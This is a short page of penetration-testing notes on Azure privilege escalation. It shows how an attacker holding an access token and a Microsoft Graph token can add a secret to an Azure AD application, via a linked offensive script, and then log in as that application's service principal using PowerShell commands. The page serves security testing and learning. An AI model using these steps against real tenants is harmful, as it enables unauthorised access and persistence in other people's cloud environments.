> For the complete documentation index, see [llms.txt](https://notes.incendium.rocks/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.incendium.rocks/pentesting-notes/cloud/azure/privilege-escalation/add-secrets-to-app.md).

# Add secrets to app

If you have a access\_token that is able to `Get-AzADApplication`:

<figure><img src="/files/jpImK9AO7E2tCo23yECG" alt=""><figcaption></figcaption></figure>

It is possible to check if that access\_token can set a secret on that app using a script: <https://github.com/lutzenfried/OffensiveCloud/blob/main/Azure/Tools/Add-AzADAppSecret.ps1>.

{% hint style="info" %}
To abuse, you will need a access\_token and the MicrosoftGraphToken!
{% endhint %}

```powershell
Connect-AzAccount -AccessToken $token -MicrosoftGraphAccessToken $graphtoken -AccountId 62e44426-5c46-4e3c-8a89-xxxxxx
```

<figure><img src="/files/VZH1SUY7Xd8YGP8Q6XM0" alt=""><figcaption></figcaption></figure>

Now, using these secret we can impersonate that application:

```powershell
$password = ConvertTo-SecureString 'client secret' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('f072c4a6-b440-40de-xxxxxxx', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 2d50cb29-5f7b-48a4-87ce-xxxxxxxx
```